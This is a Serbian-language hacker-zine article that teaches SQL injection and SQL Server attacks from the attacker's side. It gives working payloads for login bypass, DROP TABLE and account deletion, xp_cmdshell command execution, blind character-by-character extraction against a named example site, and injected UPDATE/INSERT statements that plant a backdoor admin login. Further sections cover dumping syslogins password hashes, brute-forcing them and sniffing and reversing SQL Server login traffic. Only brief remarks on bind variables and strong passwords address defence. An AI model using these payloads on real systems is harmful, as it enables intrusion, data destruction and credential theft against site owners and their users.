SQL i same tematike. To je takodje vid exploatacije web aplikacija. Znaci ukoliko aplikacija sadrzi forme ili sl koje zahtevaju input od strane korisnika ona je vec potencijalno ranjiva. Ti inputi korisnika se mogu korist- iti npr i za QUERY baze, Svaki zli haker (mmmm) ce pokusati da preko ranjive web aplikacije edituje/unosi podatke poznavajuci SQL ili nedaj Boze da osvaja i dalje sistem dok ne dodje do cilja. Moze saznati mnoge osetljive informaci- je itd. Tehnika je inace nasiroko koriscena. Nabrojacemo par osnovnih SQL injection tehnika pa cemo posle o njima vise gov- oriti. [=- BOF -- Opste poznata tehnika buffer overflow. Medjutim kod vecine baza tesko je izvesti BOF jel su patchovane i vise je tesko naci ranjive sisteme bilo oni OPEN SOURCE ili komercijala. [=- SQL Manipulation-- manipulacija je proces modifikovanja SQL izjave koristeci razne komande o kojima sam vec pricao. Jedna od tehnika jeste da exploatisete WHERE izj- avu tako da uvek vraca TRUE. Tako da lako mozemo izmanupulisati autorizaciju korisnika. [=- Code injection -- Ubacivanje nove komande u vec postojecu ranjivu. Tehnika se zasniva na tome da je potrebno dodati SQL SERVER EXECUTE komandu ranjivoj komandi. [=- Function Call Injection -- Opet ubacivanje izjava u ranjive SQl komande. Code inj i SQL manipulation su najpoznatije i najrasprostranjenije tehnike | koje svaki napadac mora znati. Napadi se mogu izvoditi na svim poznatim sist- emima baza podataka kao sto su SQL Server , MySql , ORACLE itd. Kad smo vec tu da navedemo i ranjive web tehnologije tj jezike: [=- JSP [=- XML,XLS [=- ASP [=- PERL/CGI scripte [=- PHP [=- itd... Aplikacija moze biti sigurna ukoliko se koristi BIND varijable takodje one poboljsavaju i perfomanse. Kada trazimo ranjive strane gledacemo gde postoje neki vidovi formi login skr- ipti i sl stvari. Posto se koristi cesto metoda POST kako bi se slali parame- tri nemoze nekada videti parametre u URL adresi pa bi bilo vazno da pogledamo source code. Sve sto se nalazi izmedju
i
moze biti nasa potencijalna meta. ==-[ 0x02b % SQL manipulation Da pojasnimo jos malo ovu tehniku i da damo neke primere pomocu kojih cemo | najlakse uvideti kako to sve radi. Napadac ce pokusati da izmeni postojecu SQL Izjavu dodajuci joj elemente WHERE komande. Takodje mozemo pokusati da prosirimo SQL izjavu pomocu operatora kao sto su MINUS ili npr UNION itd. UNION sam vec objasnio dok MINUS operator operise na dve SQL izjave. On uzima rezultat prve SQL izjave i onda izdvaja one koje si prisutne i u drugoj izja- vi i dobija se konacan odgovor. Osnovni oblik naredbe je: ==---------[code]----------== [SQL Statement 1] MINUS [SQL Statement 2] ==---------[/code]---------== Videcemo to najbolje na primeru: Tabela: Prodaja1 ________________________________________ | Ime | Cena | Datum | |--------------------------------------| | Sabac | 1000 | Jan-05-2002 | |--------------------------------------| | Majur | 2100 | Jan-08-2001 | |--------------------------------------| | Stitar | 12000 | Maj-03-2005 | |--------------------------------------| | Koceljeva| 20000 | Jan-02-2003 | |--------------------------------------| Tabela: Prodaja2 _________________________ | Datum | Ime | |-----------------------| |Jan-05-1999 | Sabac | |-----------------------| }Maj-03-2005 | Majur | |Jan-02-2003 | Koceljev| |-----------------------| Primer: ==---------[code]----------== SELECT Date FROM Prodaja1 MINUS SELECT Date FROM Prodaja2 ==---------[/code]---------== Rezultat: ______________ | Datum | |------------| | Jan-08-2001| |------------| Sada cemo videti kako napadac moze da izmanipulise jednu prostu autorizaciju. Zamislimo da imamo web stranu sa loginom koja izvrsava sledeci kao proveru identiteta. ==---------[code]----------== SELECT * FROM users WHERE username = 'blood' and PASSWORD = 'sifrabre' ==---------[/code]---------== Mozemo pokusati da iskoristimo ovu izjavu. ==---------[code]----------== SELECT * FROM users WHERE username = 'blood' and PASSWORD = 'sifrabre' or 'a' = 'a' ==---------[/code]---------== Sada je WHERE TRUE za svaki red i mi smo dobili akces. :) To vam je prost primer namizernijeg SQL manipulationa. Pogledacemo i malo slozeniji primer koji sam nasao na secdocs i koji cemo i objasniti. ==---------[code]----------== SQL= “SELECT Username FROM Users WHERE Username= ”&strInputUsername&”’AND Password = ‘”&strInputPassword&”’” StrAuthorizationChk = ExecQuery(SQL); If StrAuthorizationChk= “” then BoolAuthnticated = False; Else BoolAuthenticated = True; EndIf ==---------[/code]---------== Mislim da vam je sam code jasan jel sam objasnio osnove SQL tako da je lako | shvatiti sta ova aplikacija radi ali za svaki slucaj da vam objasnim. Aplikacija uzima dva ulaza od strane korisnika a to su: -strInputUsername -strInputPassword Prvo se radi query User tabele proverava se dali kolona username ima istu vr- ednost kao strInputUserName i dali kolona password ima istu vrednost kao strInputPassword. Pomocu sledeceg koda mozemo exploatisati aplikaciju: ==---------[code]----------== Login name : ‘OR “=’ Password : ‘OR “=’ ==---------[/code]---------== Tada cemo izmeniti nacin na koji QUERY vrsi proveru. Sada ce izgledati ovako: ==---------[code]----------== SELECT Username from Users WHERE Username = “OR “=” AND Password =” OR “=” ==---------[/code]---------== Query zavesava potragu za korisnikom kada je Username prazan(blank) ili “ = “ tj nista je jednako nista sto ce uvek vracati TRUE sto znaci da nam je akces odobren tako sto ce se prvi red poklopiti sa uslovom i mi bez validnog acc-a mozemo pristupiti bazi. Exploatisanje mozemo izvrsiti i manipulisanjem UNION operatora. Cela tehnika se svodi na to da izmanipulisemo SQL izjavu tako da nam vrati | redove iz druge tabele. Zamislimo npr da imamo aplikaciju za neku firmu i da imamo deo koji sluzi za listanje imena radnika : ==---------[code]----------== SELECT ime_radnika FROM RADNICI WHERE ime_radnika like '%blo%' ==---------[/code]---------== Mi cemo aplikaciju exploatisati na sledeci naciN: ==---------[code]----------== SELECT ime_radnika FROM RADNICI WHERE ime_radnika like '%blo%' SELECT username FROM users WHERE username like '%' ==---------[/code]---------== Sada necemo dobiti samo imena radnika vec imena svih korisnika baze podataka. ==-[ 0x02c % Three musketeers Prvo cemo poceti sa code injection. Kao sto rekoh ova tehnika se zasniva na tome da treba dodati SQL izjavu | vec postojecoj izjavi. Glavna meta napada je EXECUTE komanda. Primer: ==---------[code]----------== SELECT * FROM users WHERE username = 'blood' and PASSWORD = 'zebra'; DELETE FROM users WHERE username = 'admin' ==---------[/code]---------== Mislim da je jasno sta smo nameravali da uradimo. Dodali smo klasicnoj proveri autorizacije izjavu kojim brise iz tabele users nalog admin (posto se poklapa sa where izjavom) Ako npr imate sledeci kod za autorizaciju: ==---------[code]----------== SELECT * FROM users WHERE username = '" + username + "' and password = '" + password +"'"; ==---------[/code]---------== To lako mozemo iskoristiti za dosta stvari cak i one najcrnje. Jednostavno u login formi na mesto username ukucamo: ==---------[code]----------== 'l drop table users-- ==---------[/code]---------== i ode cela tabela sa korisnicima. Mozemo se cak logovati kao admin: ==---------[code]----------== admin '-- ==---------[/code]---------== Mozemo se logovati i kao prvi user iz tabele: ==---------[code]----------== ' or 1=1-- ==---------[/code]---------== Mozemo cak uci i kao korisnik: ==---------[code]----------== ' union select 1, 'user', 'pass', 1-- ==---------[/code]---------== Function call injection je jos jedan poznat napad koji ce takodje cesto kori- scen od strane hakera. Tehnika se zasniva na tome da u ranjivu SQL izjavu tr- eba ubaciti svoju izjavu/komandu. Zanimljivo je to sto na ovaj nacin ne samo da mozemo manipulisati bazom vec i pozivima samo operativnog sistema. Od velikog broja funkcija koje postoje mali broj je exploatabilan tj mali broj je ranjiv na ovakve napade. Takodje mozemo raznim funkcijama slati komande na remote sisteme i tako mani- pulisati i njima. Znaci ako nekako ubacimo nasu inekcijicu mozemo koristiti sve te lepe funkc- ije.Medjutim naravno da nemoze pristupiti svim funkcijama vec to zavisi od prava pristupa aplikacije u bazi podataka. phzine.asp?broj4=pune’; EXEC master.dbo.xp_cmdshell’ cmd.exe dir c: Ukoliko je aplikacija na SA pravima onda ce uspeti ako ne well...:P O BOF sam vec rekao da ga je tesko izvesti jel jednostavno su baze patchane i tesko je naci ranjive. Medjutim oni postoje u npr standardnim funkcijama kao sto su _offset _timestamp_tz i bfilename. BOF ce vam posluziti za DOS napad jel ce proces biti HANG sve dok se veza sa klijentom ne zavrsi tj prekine. BOF cemo izvrsiti koristeci vec opisane tehnike function injection. ==-[ 0x02d % BLind SQLinjection Ovo je samo jos jedna hacking metoda pomocu koje mozemo neovlasceno prist- upiti bazama podataka i manipulisati njima i samim web aplikacijama. Kada mi saljemo neke ulaze koji ce generisati pogresne upite (queries) aplik- acija vraca klijentu poruku o gresci. Tada napadac pokusava da iskoristi error poruku tj poruku o gresci radi dobijanja nekih informacija. Ukoliko je na se- rveru omoguceno vracanje error poruka onda smo na konju jel tada je moguce izvesti ovaj vid napada. Hajde da probamo da exploatisemo zamisljeni phearless.net sajt koji sadrzi sa- mo za sada 4 broja naseg omiljenog casopisa i to je to. Prvi korak pri exploataciju je da prepoznamo samu ranjivost. I sada imamo arhivu sa 4 broja ph zine-a i pristupamo im preko adrese: www.phearless.net/phzine.jsp?phzineID=4 Na ovaj nacin cemo izabrati pH zine 4 tj ovaj aktuelni. Kako izgleda ta SQL izjava koja ce odraditi doticni posao? ==---------[code]----------== SELECT autor, opis, velicina FROM phzine WHERE phzineID = 4 ==---------[/code]---------== Ova ID broj 4 je korisnikov ulaz. Sada baza podataka vraca ovaj broj a web aplikacija ga pretvara u HTML stranu koja se prosledjuje klijentu. Sada cemo pokusati da dodamo dodatnu izjavu uz WHERE naredbu kojom cemo proveriti ranjivost aplikacije. www.phearless.net/phzine.jsp?phzineID=4 AND 1=1 Sada ce izjava izgledati ovako: ==---------[code]----------== SELECT autor, opis, velicina FROM phzine WHERE phzineID = 4 AND 1=1 ==---------[/code]---------== Ukoliko nam se vrati ista strana znaci da je stranica ranjiva ukoliko ne pojeli smo govno. Sada predjimo na exploataciju. Moramo shvatiti da mi neznamo da li je uslov WHERE TRUE ili FALSE pre nego sto ga posaljemo. Ukoliko se zapis vrati uslov je TRUE. Ovo mozemo iskoristiti da bi saznali razne infroamcije. Npr vec cu pricati u sekciji manipulacija sa korisnicima kako se traze useri i sl a sada cemo videti query pomocu koga mozemo proveriti npr da li je tren- utni korisnik dbo. www.phearless.net/phzine.jsp?phzineID=4 AND USER_NAME()='dbo' Ukoliko nam se vrati stranica sa broj 4 ph zinea onda je uslov ispunjen tj | TRUE je.Vazno je da mozemo poznavajuci SQL komande postavljati i slozenije upite i tako saznati jos vaznije informacije. Mozemo pokusati da karakter po karakter saznamo ime table malo je napornije ali vredi. www.phearless.net/phzine.jsp?phzineID=4 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='A'), 1, 1))) > 109 lower nam pretvara u lower case dok ascii vrednost pretvara u ASCII vrednost sa SELECT pitamo za ime prvo korisnika u tabeli a substring vraca prvi char querija. Ako se opet vrati strana 4 znamo da je prvo slovo dolazi posle slova M posto je slovo m u ASCII 109 broj. Tako mozemo ispitivati i dalje. I tako ispitujemo redom dok nedodjemo u neki mali range tada mozemo pokusati. www.phearless.net/phzine.jsp?phzineID=4 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='A'), 1, 1))) = 113 Ako nam se vrati 4 broj to je to BINGO! ==-[ 0x02f % User manipulation Ova sekcija ce vam opisati kako mozete manipulisati korisnicima osvojene | baze podataka ti to SQL Servera. Naime mozda zelite da injectujete svog kori- snika npr sa pravima sa ili sl za to ce vam biti potrebno da znate kako da to i uradite. Dodavanje novog korisnika bazi sa odredjenim dozvolama cime se mozete konekt- ovati na tu bazu praviti tabele i ostalo. ==---------[code]----------== sp_addlogin 'blood', 'invisible'; CREATE DATABASE blood; USE blood; sp_changedbowner blood ==---------[/code]---------== Ukoliko se radi o MySQL bazi postupak se malo komplikuje i izgleda ovako: ==---------[code]----------== INSERT INTO mysql.user (user, host, password) VALUES ('blood', 'localhost', PASSWORD('invisible')); CREATE DATABASE blood; GRANT SELECT, INSERT,UPDATE,DELETE,CREATE,DROP ON blood.* TO blood; FLUSH PRIVILEGES; ==---------[/code]---------== Kako da saznamo ko smo? SQL ima funkciju USER koja je specificna za SQL Server. Pomocu nje mozemo na- ci username ili ID. Ukoliko se nalazimo na nasoj bazi biceo dbo (database owner) , a ukoliko koristimo neciju drugu bazu onda dobijamo ID svoj. ==---------[code]----------== USE blood; SELECT user, user_id(); USE gisq; SELECT user, user_id() ==---------[/code]---------== Kako da promenimo "svoju" sifru? Kada smo admin naravno mozemo menjati svima sifre , ali ukoliko imamo neke mozda ukradene tj osvojene naloge i zelimo da promenimo sifru to mozemo ura- diti na sledeci nacin: ==---------[code]----------== sp_password @old='invisible', @new='pajvan' ==---------[/code]---------== Zamislimo da smo provalili zeljene podatke za usera kako mu direktno promeniti pass? Pa ovako: ==---------[code]----------== http://bhat/index.asp?id=12; UPDATE 'admin_login' SET 'password' = 'sifrica' WHERE login_name='blood'-- ==---------[/code]---------== Sada mozemo ubaciti i novi zapis u tabeli: ==---------[code]----------== http://bhat/index.asp?id=12; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'blad2','nsifrica','NA')-- ==---------[/code]---------== Sada se mozemo logovati kao blad2 validno:) ==-[ 0x02e % Hacking logins Vreme je da sa sumornog dela koji se zove jebeno_SQL_kodiranje predjem- | emo na nesto stvarno zanimljivo i korisno xeex. Vreme je da udjemo u vode SQL sigurnosti. Dobro dosli wake up Neo pizda ti materina. :) Ovu zanimljivu temicu cemo slabo obraditi. Prvo cemo prouciti na koji nacin se obezbedjena sigurnost SQL servera pa onda kako ga ownati tj doci do logi- na. Authenticating Logins je prvi korak ka sigurnom SQL serveru tj ka njegov- om osiguravanju. Svakom adminu je stalo je stalo da neautorizovane osobe nem- ogu da pristupe sistemu sto je i logicno. Logini mogu biti najjaca karika u zastiti jednog servera ali istevremeno i najslabija. Moramo imati na umu prvo da ce i sam server na kome je pokrenut SQL Servis biti osiguran. Serveri ce obicno biti osigurani jakim passwordima sto je osnovna stvar sigu- rnog servera. Sifre za korisnike se nalaze u posebnoj tabeli koja se naziva syslogins. Nekada u SQL serverima one nisu bile kriptovane sto znaci ukoliko nadjete | neki stari server omastili ste brk. Pomocu obicnog QUERY mozete izvuci sifre iz baze potreban vam je samo SA privilegije(samo). Noviji SQL drugacije odrzavaju password. Uveden je one-way hashing algoritam| sto znaci da je sigurnost korisnickih password povecana nazalost po nas :))) Enkriptovanje passova vrsi nedokumentovana funkcija pwdencrypt(). Ona otprilike radi ovako: Uzima neenkriptovan pass kao jedan parametar i vraca hesiranu vrednost kao | izlaz. Posto je u pitanju one-way hashing algoritam nemoguce je reversovati proces i dobiti neenkriptovanu sifru. Druga funkcija pwdcompare(), uzima neenkriptovan pass i enkriptovan tekst kao dva parametra. Vraca vrednost TRUE ukoliko se sifra poklapa sa tekstom druga| cije vraca vrednost FALSE. Ono sto treba da znamo jeste da mozemo raditi bru- teforce na koristeci pwdcompare(), mada moze trajati mnooogo dugo :) Ali opet sta ako pass nije rec u Recniku koji se koristi za napad. Uostalom jednom dba i netrebaju sifre korisnika kad ima sve fine alatljike:) kojima moze manipulisati sa korisnicima. U ranijim verzijama SQL servera mozete u backup fajlovima syslogins ili sysxlogins mozete videti passove u clear text dok kod novijih servera su neki bzv znakovi tj binarni broj koji je rezultat funkcije hesiranja pwdencrypt(). Ako uspete da se dokopate backup fajla to je odlicno jel na serveru koji je pod vasom kontrolom mozete uraditi restore. Ali veoma je vazno imate jaku sifru. Jel ukoliko su sifre slabe nista vas| nemoze zastititi....plz bez sifara GOD :)xaxa Treba da znamo da u novijim SQL serverima npr 2000 i 7.0 sifre mogu biti max| dugacke do 128 charova i mogu se koristiti svi simboli sto nam jako otezava bruteforce. Medjutim na starijim serverima max broj je 30 karaktera. Ako vi osiguravate SQL server pravite kombinacije slova i znakova obavezno. To su prave sifre koje ce biti tesko provaliti bilo kakvim metodama. Pametno bi bilo napisati neka pravila koje passworde netreba koristiti i na- ravno namestiti da min duzina bude 10 chars-a. Tako da bi eventualni brute trajao dugo dugo.... Za nas je najvazniji syslogins fajl pa cu vam malo objasniti sta on sve sadr- zi. __________________________________________________________ | S Y S L O G I N S | |--------------------------------------------------------| | Ime kolone | Tip podatka | OPIS | |--------------------------------------------------------| | suid | smallint | Server user ID | |--------------------------------------------------------| | sid | varbinary | Security ID | |--------------------------------------------------------| | status | smallint | samo za internu upot-| | | | trebu. | |--------------------------------------------------------| | createdate | datetime | datum kada je login | | | | dodat. | |--------------------------------------------------------| | updatedate | datetime | datum kada je login | | | | updejtovan | |--------------------------------------------------------| | accdate | datetime | Interna upotreba | |--------------------------------------------------------| | totcpu | int | Interna upotreba | |--------------------------------------------------------| | totio | int | Interna upotreba | |--------------------------------------------------------| | name | varchar | ID korisnika | |--------------------------------------------------------| | dbname | nvarchar | Ime korisnikove def- | | | | ault db | |--------------------------------------------------------| | password | nvarchar | Enkriptovan pass moze| | | | biti i NULL. | |--------------------------------------------------------| | denylogin | int | Zabrana pristupa | |--------------------------------------------------------| | has access | int | Odobren pristup | |--------------------------------------------------------| | Loginname | nvarchar | Ime logina | |--------------------------------------------------------| | Securityadmin| int | Ako clan securityadmin | | | role | |--------------------------------------------------------| To bi bili neki vazni podatci. Kako se uspostavlja sam login. SQL server uporedjuje acc i pass unose u syslogins tabeli. Kod Servera 7 je jos dodatno pojacana sigurnost jel autorizacija se svodi na | winNT/2000 ugradjene sisteme za autorizaciju i sifre. Znaci izvrsena je integracija sa windows sistemom tako da cak prihvata i grupe korisnika , ali ipak moguce je koristiti interne SQL tabele i dalje. Pored svih objasnjenih taktika za dobijanje passworda putem SQL inekcija mozemo napomenuti jos par nacina. PRvo cemo reci da sniffovanje passowa je duza malo ali UBITACNA tehnika. Koristiti neki packet analyzer radi proucavanja paketa koji se prenose preko mreze mozemo nazvati nekim snifingom. Ono za cim mi tragao su __KORISNE__ informacije medju gomilom smeca. Ali zato sluze filteri u snifferima pomocu kojih cemo izdvojiti samo za nas bitne informacije. SQL Server za komunikaciju sa klijentom koristi TCP vid konekcije. Na klijentu se sifre i username pretvaraju u 2-byte Unicode char format. Npr ako u sniff logu vidimo 0073 i 0061 znacmo da je to acc od SA tj system admin. Posle odgovarajuceg UNICODE chara dodaju se 0 ali se onda reversa jel tako protokol zahteva. U novijim verzijama SQL servera na svakom bajtu sifre se vrsi XOR operacija. Ali i ova operacija je srecom reversibilna. U pitanju je veoma prost sistem od koga ce se uplasiti samo total noobzi. Videcemo operaciju na jednom bajtu: 0 0 0 0 0 1 1 1 07 1 0 1 0 0 0 1 0 A2 1 0 1 0 0 1 0 1 A5 1 0 1 0 0 1 0 1 A5 --------------- ---------------- 1 0 1 0 0 0 1 0 A2 0 0 0 0 0 1 1 1 07 Ukoliko su oba bita 0 ili 1 rezultat je 0. Ukoliko je jedan bit 1 a drugi 0 rezultat je 0.Sve sto server treba da uradi da bi xorovan broj A2 prebacio u slovo jeste da XOR A2 sa vrednoscu klijenta koju koristi kada se pravi paket. Ladno kad razmislim mi snifferasi smo kao pronalazaci zlata :) medju krsem nadjemo nesto korisno ili ko cigani jbt preturamo po djubretu. Medjutim ukoliko je sa dovoljno pametan moze koristiti niz zastita i kript- vane tunele npr VPN da bi zastitio pakete. Takodje nekada cemo lako moci i da zaobidjemo autorizaciju nekim metodama. O tome sam pricao u poglavlju SQL inekcije. /////////////////////////////////////////////////////////////////////////////// --==<[ 0x03 % bl00d has no more! \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ==-[ 0x03a % Play it again Sam .....ehhhhhhhhh smrc zar je moguce da je vec dosao kraj ovakvog divna teksta misim sta reci. Zavrsi se jos jedno poglavlje moga zivota i jos jedan dzinovski teskst za ovaj zine danas je ponedeljak xaxaxa opet sam zajebao shatera :P sorry man. Ali vazno je da ovo izadje zar ne? Zato ja idem da se napijem ko stoka :) jel...mi dosta pisanja ovog kurca OVER AND OUT .....aj puce puskaaaaaaaa u doliniiii lima........... ---------------------- blackhatz@ wc SQL.txt 1640 8126 65862 SQL.txt